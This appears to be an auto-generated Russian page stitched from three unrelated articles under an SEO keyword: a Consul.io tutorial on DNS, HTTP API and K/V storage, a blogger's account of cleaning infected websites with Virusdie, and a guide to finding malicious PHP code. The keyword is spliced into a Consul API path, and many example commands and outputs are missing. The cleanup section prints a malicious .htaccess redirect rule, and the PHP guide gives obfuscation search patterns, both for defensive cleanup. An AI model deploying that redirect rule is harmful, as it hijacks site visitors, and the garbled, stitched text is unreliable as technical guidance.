doubt h agentcheck что это

Consul.io Часть 2

В первой части мы подробно рассмотрели какие проблемы и задачи ставит перед нами распределенная архитектура приложения. Мы определили какие инструменты мы можем использовать для решения этих проблем и отметили важность реализации discovery на начальном этапе проекта. А также, выбрали Consul основным приложением на базе которого мы будем рассматривать реализацию discovery-сервиса.

В заключительной части мы рассмотрим как Consul работает с протоколом DNS, разберем основные запросы к HTTP API, посмотрим какие виды Health Checks мы можем использовать и, конечно, разберем для чего нужен K/V storage. И что самое важное, ближе познакомимся с некоторыми особенностями на практике.

Интерфейс DNS

Узел кластера

Сервис

Запрос на поиск сервиса по имени выполняется на всех узлах кластера. В отличии от запроса на разрешение имени узла, запрос на поиск сервиса предоставляет больше возможностей. Кроме, собственно, IP-адреса сервиса (то есть А-записи) вы можете выполнить запрос на получение SRV-записи и узнать порты, на которых запущен сервис.
Вот так выглядит обычный запрос на поиск всех узлов, на которых запущен сервис с именем rls :

Из этого ответа можно увидеть, что в составе кластера присутствуют два узла, на которых запущен сервис с именем rls и то, что DNS-интерфейс Consul вернул IP-адреса всех узлов. Если мы повторим запрос несколько раз, то увидим, что записи периодически меняются местами, то есть первое место не закреплено за первым найденным сервисом. Это и есть пример простой DNS-балансировки, о которой мы говорили выше.
Если мы запросим SRV-запись, то ответ будет таким:

В ANSWER SECTION перечислены доменные имена узлов в формате, требуемом Consul (обратите внимание, узлов, но не сервисов!) и порты, на которых запущен запрашиваемый сервис. IP-адреса узлов (и, соответственно, сервисов) перечислены в ADDITIONAL SECTION ответа.

SRV-запросы на поиск сервисов в соответствии с RFC-2782

Помимо “обычного” построения доменного имени мы можем построить его по более строгим правилам RFC-2782 для выполнения запроса на получение SRV-записи. Формат имени выглядит так:
_service._tag.service[.datacenter].[domain]
Название сервиса и tag имеют underscore (_) в виде префикса. (В оригинальном RFC вместо tag должно стоять название протокола, это сделано для предотвращения коллизий при запросе).
В случае использования имени в формате RFC-2782, сервис с именем nginx и имеющий tag названный web, будет выглядеть так:
_web._nginx.service.consul

Ответ будет точно таким же, как и в случае “простого” запроса:

По умолчанию, все доменные имена в рамках Consul имеют TTL = 0, то есть совсем не кешируются. Нужно иметь это в виду.

HTTP API

agent
Управление локальным агентом Consul. Все операции, доступные на этом endpoint, затрагивают данные локального агента. Можно получить информацию о текущем состоянии агента, его роли в кластере, а также получить доступ к управлению локальными сервисами. Изменения, выполненные над локальными сервисами, будут синхронизированы со всеми узлами кластера.

coordinate
Consul использует сетевую томографию для вычисления сетевых координат. Эти координаты используются для построения эффективных маршрутов в рамках кластера и многих полезных функций, таких как, например, поиск ближайшего узла с заданным сервисом или переключение на ближайший датацентр в случае аварии. Функции API в этом разделе используются только для получения информации о текущем состоянии сетевых координат.

event
Обработка пользовательских событий. Пользовательские события используются для выполнения каких-либо действий в рамках кластера: например для автоматического деплоя, перезапуска сервисов, запуска определенных скриптов или иных действий в рамках процесса оркестрации.

health
Проверка текущего состояния узлов и сервисов. Данный endpoint используется только для чтения и возвращает текущее состояние узлов и сервисов, а также списки выполняемых проверок.

kv
Этот endpoint имеет только один метод и используется для управления данными в распределенном key/value-хранилище, предоставленным Consul. Единственный метод в этом endpoint выглядит так:
/v1/kv/doubt h agentcheck что это
Разница в обработке заключается в методе запроса. GET вернет значение по ключу, PUT сохранит новое значение или перезапишет старое, а DELETE удалит запись.

query
Управление подготовленными запросами (Prepared queries). Подобные запросы позволяют выполнять сложные манипуляции над конфигурацией Consul и могут быть сохранены и выполнены позже. Сохраненным запросам присваивается уникальный ID. C его помощью запрос может быть выполнен в любое время без необходимости повторной подготовки.

session
Механизм сессий в Consul используется для построения распределенных блокировок. Сессии представляют собой связующий слой между узлами, выполняемыми проверками и k/v-хранилищем. У каждой сессии есть имя и оно может быть сохранено в хранилище. Имя используется для реализации блокировок в рамках последовательных действий с узлами и сервисами в конкурентном режиме. Механизм работы сессий описан в документации Consul.

status
Этот endpoint используется для получении информации о статусе кластера. Здесь можно узнать текущего лидера и получить информацию обо всех участниках кластера.

Health Checks

K/V storage

Хранилище, предоставляемое Consul является распределенной key-value базой данных и может использоваться для сохранения любых данных, доступных для любого участника кластера (в соответствии с правилами ACL, конечно же). Сервисы могут сохранять в этом хранилище данные, которые необходимы для других участников кластера. Это могут быть значения конфигурационных опций, результаты каких-либо вычислений или, как мы указали выше, k/v-хранилище может использоваться для реализации распределенных блокировок при помощи механизма сессий. Использование k/v-хранилища позволит нам сделать кластер более эффективным и уменьшить процент ручного вмешательства. Сервисы могут корректировать свое состояние в зависимости от информации в хранилище, гарантированно предоставленным кластером. Обратите внимание: не стоит сохранять в это хранилище какие-либо данные, связанные с бизнес-логикой ваших сервисов. Хранилище, предоставляемое Consul, используется для хранения и распространения метаинформации о состоянии участников кластера, а не о данных, которые они обрабатывают.

Источник

Cуперинструкция: Как избавиться от 280 вирусов на своих сайтах

После поста о взломе моих сайтов и успешном их лечении мне написали пару вопросов о том, каким образом чистятся файлы, не удалились ли после лечения все файлы с сервера и не становится ли вообще хуже после использования сервиса Virusdie.

Удивительно, сегодня можно нагуглить сотни тысяч советов о том, как очистить от паразитов свой дырявый Windows, но не так много информации о том, как чистить именно блоги, лендинги и т.д. Решил поподробнее рассказать, какие типичные вирусы обычно хватают сайты, как их лечить и что для этого нужно.

Как вообще понять, что сайт заражен?

Обычно не всегда получается заметить вредоносный код на сайте. Более того, в некоторых случаях это вообще не проявляется даже внешне, тогда как сервер в это время может использоваться для рассылки спама, для редиректов на левые страницы или для размещения дорвеев.

Зачем ломать мой сайт, у меня же нет миллионной посещаемости?

По статистике, одни из самых популярных систем управления — WordPress и Joomla, их версии обновляются почти каждый месяц, вносится исправления в код, улучшается безопасность. Старые же версии так и остаются с дырами, а багрепорты становятся известны любому интересующемуся. Поэтому ничто не мешает какому-нибудь молодому умному Мистеру Роботу прочекать сайты на сервере, найти не обновленные и использовать уязвимость в своих целях.

Как ты избавился от 280 вирусов? Ты использовал Virusdie для лечения сайтов?

Предупреждаю: я не сотрудничаю с «Вирусдай» и ребята не платили мне за рекламу, поэтому у меня нет цели рассуждать об их тарифных планах. И еще подчеркну, что я не специалист по безопасности, а обычный владелец сайтов, поэтому далее распишу, с какими угрозами столкнулся сам, что они означают и как я их ликвидировал. Если у вас больший опыт в защите и очистке сайтов, напишите свои советы в комментах, будет полезно.

В принципе, я пока знаю только два эффективных способа избавиться от вредоносного кода: пытаться копаться в нем самостоятельно, перелопачивать файлы, мониторить время изменения и размеры, либо пользоваться внешними сервисами для анализа. Один из таких редких сервисов — Virusdie.

Их решение сейчас встроено в некоторые виртуальные хостинги (в предыдущем посте упоминали рег.ру), в случае, если у вас собственный сервер, то удобно использовать модуль для ISPmanager.

После установки модуля переходим в раздел Virusdie в левой колонке. Иногда может потребоваться перезагрузка панели ISP или всего сервера, чтобы менюшка появилась.

Первым делом выбираем кнопку «Настройка» вверху, чтобы изменить глобальные настройки лечения файлов. Я проставил галки таким образом.

Последний пункт «Разрешить удалять файлы целиком» я побоялся включать, лучше уж я сам удалю файл, чем позволю системе автоматически его уничтожать.

Сохраняем настройки, выбираем пользователя и жмем кнопку «Проверить». Через несколько минут (до получаса) мы получим отчет по всем сайтам, соответствующим данному пользователю.

Кликаем на самый свежий отчет (автоматически на вирусы сервер будет проверяться каждую ночь) и смотрим, какие файлы подверглись заражению и имя вируса.

Теперь самое интересное — что это за черви такие, которых я подхватил?

Если кликнуть на угрозу, можно посмотреть на кусок зараженного кода. В случае с первой строчкой (.htaccess файл с угрозой Doubt.h.BotCheck) получаем такое сообщение:

Это вирус, записанный в htaccess, он берет посетителя с определенного источника или устройства (чаще всего мобильных пользователей) и редиректит на свою страницу. Для лечения его надо найти примерно такого вида код

RewriteCond % !(windows\.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|libwww|msn|america|avant|download|fdm|maui|webmoney|windows-media-player) [NC]
RewriteRule ^(.*)$ http://someserver/?update&source=% [L,R=302]

И удалить его. К сожалению, Virusdie не всегда автоматически удаляет код из файлов, часто нужно самому залезть в них и вычистить вредоносные строки. Но самое главное уже сделано — дан полный адрес, куда копать и строки, на которые обратить внимание.

Описание угроз, которые я встретил

(прим. — в расшифровке угроз могу ошибаться, не профессионал, если что, ткните меня)

* Doubt.h.BotCheck — описанный выше вирус. Если вы сами не делали клоаку на своем сайте, то значит кто-то редиректит ваш трафик к себе.

* Obfuscated.Globals.5.3 — обфусцированный (закодированный) код. Чаще всего названия файлов странные, проверьте старые бэкапы, скорее всего, этих файлов раньше вообще здесь не было, их нужно удалить полностью.

* Eval.gz.b64.short — закодированный base64. Если вы или другой создатель скрипта не шифровали свой код изначально, значит это сделал кто-то другой, и на сайте висит вирус.

* Doubt.PHP.Spaces — а вот это интересная штука — подозрительное количество пробелов. Я уже удалил код, поэтому придется объяснять на сделанном на коленке примере. Например, у нас есть файл index.php, в котором лежит вот такой простой код

И вроде бы все выглядит нормально, и даже я не понимал, почему ругается Virusdie, но стоит крутануть файл вправо, и за пробелами мы видим спрятанный код.

Я не знаю, как это называется у хакеров и специалистов по безопасности, но это гениально.

И самое важное: просто удалить вирус недостаточно, нужно понять, где лежит дырка, через которую все это просочилось. Теперь придется включить смекалочку, посмотреть свои скрипты, перепроверить права на файлы и воспользоваться советами ниже.

Несколько советов, так сказать, для профилактики:

Источник

Как узнать, что ваш PHP сайт был взломан

Сайт моего друга недавно был взломан, на нем была запущена старая версия IP.Board, в которой есть уязвимость локального внедрения кода (local file inclusion). Этот пост не будет посвящен IP.Board или другому php коду, он покажет, как найти потенциально вредоносный php код на ваших серверах. Наконец, покажу пример того, что злоумышленники могут загрузить на взломанный сайт.

Проверьте логи доступа

Что бы с чего-то начать, я бы хотел поделиться некоторыми записями из журнала доступа (access log) взломанного сайта моего друга.

Необходимо часто проверять журналы доступа на сервере, однако если вы не будете осторожны, URL такие как выше, которые на первый взгляд выглядят безобидно, могут пройти прямо мимо вас.

Два файла выше это загруженные взломщиком скрипты, как они туда попали, большой роли не играет, так как код на любых двух серверах, вероятно, будет различным. Тем не менее, в данном конкретном примере, уязвимость в устаревшей версии IP.Board была использована, и атакующие смогли добавить свои собственные скрипты в директории доступные для записи, такие как пользовательский каталог загрузки и каталог, в котором IP.Board хранит кэшированные изображения темы оформления. Это общий вектор атаки, много людей изменяют права на эти каталоги на 777 или дают им доступ на запись, подробнее об этом чуть позже.

Рассмотрим подробнее приведенные выше строки журнала, ничего не цепляет вас?

Обратите внимание, что в журнале доступа POST запросы, а не GET запросы.
Скорее всего, злоумышленники хотели сделать журнал доступа более неприметным, так как большинство журналов не сохраняют post данные.

Выявление вредоносных PHP файлов

Есть несколько способов, что бы выявить подозрительные php файлы на вашем сервере, вот самые лучшие.
Подсказка: эти команды, выполняйте из корневой директории вашего сайта.

Поиск недавно измененных PHP файлов

Мой взломанный сервер возвратил такие результаты:

Все эти скрипты загружены злоумышленником в директорию загрузки пользователя.
Примечание: эта команда будет выдавать ложные результаты, если вы сами изменяли php файлы в данный период времени. Следующие методы являются гораздо более эффективными.

Искать все PHP файлы с подозрительным кодом

Это далеко не лучший подход, следующие команды ищут php файлы содержащие атакующие сценарии. Мы начнем с простого и получим больше с помощью расширенного поиска.

Первая проверка файлов которая содержит eval, base64_decode, gzinflate или str_rot13.

Подсказка: первый параметр поиска это директория поиска, точка означает текущий каталог (и все вложенные каталоги). Можно изменить этот параметр в любое существующее имя каталога для уменьшения результатов поиска, например:

Эта команда найдет php файлы содержащие eval(str_rot13(base64_decode(
Синтаксис grep очень прост и вы можете изменить его под свои нужды. Взгляните на выражение сверху, по которому мы ищем, это «eval *(str_rot13 *(base64_decode *(»
Пробел следующий за * означает ноль или более символов пробела. Выше приведенное выражение будет справедливо для следующих строк:

Совет: расширьте выражение для поиска функций, которые могут быть использованы злонамеренно, такие как mail, fsockopen, pfsockopen, stream_socket_client, exec, system и passthru. Можно скомбинировать все эти значения в одну команду:

Примечание: мы используем egrep, а не grep, это позволяет использовать расширенные регулярные выражения.
Наконец, вот не менее известный способ, что бы скрыть код:

preg_replace с e модификатором будет исполнять этот код, он выглядит необычно, однако это просто сжатый в формате base64 php код использующий некоторые шестнадцатеричные коды символов.
\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28 переводится как eval ( gzinflate ( base64_decode (, а \x29\x29\x29\x3B, как )) ) ;

Эта команда поможет вам найти использование preg_replace:

Совет: если вы получаете тонну результатов выполнения данной команды, можно сохранить результат в файл или перенаправить их в другую программу под названием less, которая позволяет просматривать результаты по одной странице за раз. Клавиша f отвечает за прокрутку вперед, клавиша q за выход.

С любыми выше приведенными командами поиска можно поступить в том же духе.

Совет: обратили внимание на шестнадцатеричную x29 в конце? Это закрывающая скобка, а x3B точка с запятой. Вы можете убедиться в этом запустив:

Можете использовать find для поиска этих шестнадцатеричных кодов в php файлах для дальнейшей проверки.

Это хороший подход если вы знаете, что не используете в коде шестнадцатеричные значения.

Констатируем факты

Большинство методов, предполагают, что злоумышленник загружает на север файлы и использует некоторые формы обфускации кода, когда другие злоумышленники могут просто изменить существующий php код. В этом случае код может выглядеть естественно и соответствовать стилю существующего сценария либо может быть запутанным.

Для того чтобы решить эту проблему вам нужна чистая копия вашего кода, если вы пользуетесь широко распространенными php скриптами, например wordpress, vbulletin, IP.Board и т.д. — все готово. Если нет, надеюсь вы используете git или другие системы контроля версий и вы можете получить чистую версию вашего кода.

Для этого примера я буду использовать wordpress.

У меня есть две папки wordpress-clean, которая содержит только что скачанную копию wordpress и wordpress-compromised, которая содержит угрозу где-то в файлах.

Я могу найти различия между моим установленным wordpress и чистым wordpress, выполнив команду:

Я исключил wp-content из этого поиска, ведь каждый имеет собственные темы и плагины.
Совет: убедитесь, что вы используете ту же версию wordpress для сравнения.

Вот результаты моего поиска:

Он обнаружил вредоносный код!

Из любопытства.

Что может сделать злоумышленник с этими 3 строками кода? Во-первых, атакующий узнал бы полезную информацию:

Затем он отправил бы GET или POST запрос по адресу http:/ /YOURSITE/wp-admin/includes/class-wp-importer.php с параметром x содержащий сценарий созданный выше. В результате его выполнения будет создан файл /wp-content/uploads/wp-upload.php, который выводит информацию о вашем сервере. Это вроде не плохо, но дело в том что злоумышленник может запустить любой php код, который пожелает.
Примечание: это сработает только если каталог wp-content/uploads будет доступен для записи. Почти всегда в зависимости от настроек веб сервера вы можете изменять права чтения/записи на другие файлы.

Всегда ищите каталоги доступные для загрузки исполняемого кода

Используя методы, которые представлены выше, легко найти php код в вашей загрузочной директории. Для wordpress это было бы:

Совет: вот очень простой bash скрипт, который ищет директории доступные для записи и php файлы в них. Результат будет сохранен в файл results.txt. Скрипт работает рекурсивно.

Назовите файл search_for_php_in_writable и дайте ему права на исполнение

Сохраните этот файл в вашем домашнем каталоге, а затем перейдите в каталог в котором вы собираетесь искать и выполните следующую команду:

Примечание: если ваш сайт находится на виртуальном хостинге и веб-сервер не безопасно настроен, ваш сайт может оказаться не единственным подверженным атаке. Общая загрузка php shell на уязвимых сайтах, по существу является инструментом, который дает злоумышленнику файл-браузер. Они могут использовать этот инструмент, что бы загрузить атакующие скрипты по всем папкам на сервере доступных для записи, например каталог загрузки.
Примечание: взломщики обычно пытаются загрузить изображения, которые содержат php код, поэтому проверяйте и другие расширения, методами перечисленными выше.

Не верите? Этот файл был загружен как jpg изображение на взломанный сайт. Похоже он был ошибочно принят за бинарные данные. Вот тот же файл в более «читаемом» формате.

Все еще не можете прочитать? Так же как и я до более глубокой проверки. Весь этот код предназначен для запуска этой функции:

Что делает этот скрипт не имеет значения, вы должны усвоить, нужно проверять ваше загрузочные директории.
Если вам интересно, это просто пробный сценарий, что бы увидеть, является ли узел уязвимым, нападение произошло позже.

Где еще может скрываться вредоносный код?

Если ваш php код динамически генерирует содержимое страницы и ваш сайт был взломан, взломщик может записать вредоносный код в базу данных. Вы так же можете провести более тщательную проверку.

Перейдите на ваш сайт, после загрузки страницы посмотрите ее исходный HTML код и сохраните его где-то на вашем компьютере, например mywebsite.txt; Выполните следующую команду

Взломщики часто вставляют iframe на взломанные сайты, проверьте все страницы сайта!
Совет: используйте расширение firebug для firefox, чтобы просмотреть содержимое html вашего ресурса, злоумышленник может использовать javascipt для создание iframe, они не будут отображаться при просмотре исходного кода страницы в браузере, потому что DOM изменяется после загрузки страницы. Существует так же расширение Live HTTP Headers для firefox, которое покажет все текущие запросы на вашей странице. Это позволит легко увидеть веб запросы, которых не должно быть.

Поиск в базе данных

Возможно злоумышленник добавил код в базу данных. Это будет только в том случае если ваш скрипт хранит пользовательский код, например плагины, в базе данных. Так делает vBulletin. Хотя это бывает редко, но вы должны это знать. Если вы в этом случае были взломаны, то злоумышленник вероятно вставить iframe в таблицы, которые отображают данные на вашем сайте.

В этом примере мы будем использовать mysql или его производные.

Для этого я бы хотел воспользоваться PHPMyAdmin и это для меня не обычно, я предпочитаю использовать инструменты командной строки, кода они доступны, однако этот инструмент является удобным для поиска.

Лично я не запускаю PHPMyAdmin на рабочем сервере, я скачиваю копию базы данных и запускаю ее на локальном сервере. Если база данных большая, не рекомендуется искать небольшие куски текста на рабочем сервере.

Откройте PHPMyAdmin выберите базу данных и нажмите ‘Search’. Вы можете искать такие строки как %base64_% и %eval(%, и любые другие сочетания, которые я уже изложил.

auto_append_file и auto_prepend_file включают другие php файлы в начале или в конце всех php скриптов, злоумышленники могут использовать их для включения своего кода.

В «реальном мире»

Итак, почему люди хотят взломать ваш сайт, что это значит для них? Для одних это хобби, а для других источник дохода.

Вот пример атакующего скрипта загруженного на взломанный сайт. Он основан исключительно на post операциях, большинство логов веб серверов были бы бесполезны в данном случае. Я смог получить логи post запросов:

Вредоносный скрипт в основном SPAM зомби, который будет отправлять любой email кому угодно, который использует ваш сервер для отправки писем, через post запрос. Ключи в каждом post запросе могут изменятся и скрипт очень находчивый, он проверяет установленные функции и приспосабливается к этому. Например если php mail() недоступен, он будет пытаться создать сокет на 25 порту и отправлять электронную почту непосредственно через SMTP.

Если вам интересно расшифровать данные злоумышленников, воспользуйтесь функцией которая называется n9a2d8ce3. Загадочные данные POST проставляют адрес назначения и содержание e-mail.

Если вы используете советы данные в этой статье, вам не составит труда обнаружить подобный скрипт.

Заключение

Если вы используете общедоступные php скрипты, как wordpress, обращайте внимание на критические или обновления для системы безопасности не только для базовой установки, но и для расширений, таких как плагины. Большинство нападающих будут пытаться найти тысячи сайтов с известными уязвимостями, так что если вы уязвимы, вас найдут в конце концов.

Если вы работаете над шабашкой, все равно код нужно постоянно проверять, ведь не должно быть уязвимостей в библиотеках, которые вы используете.

Источник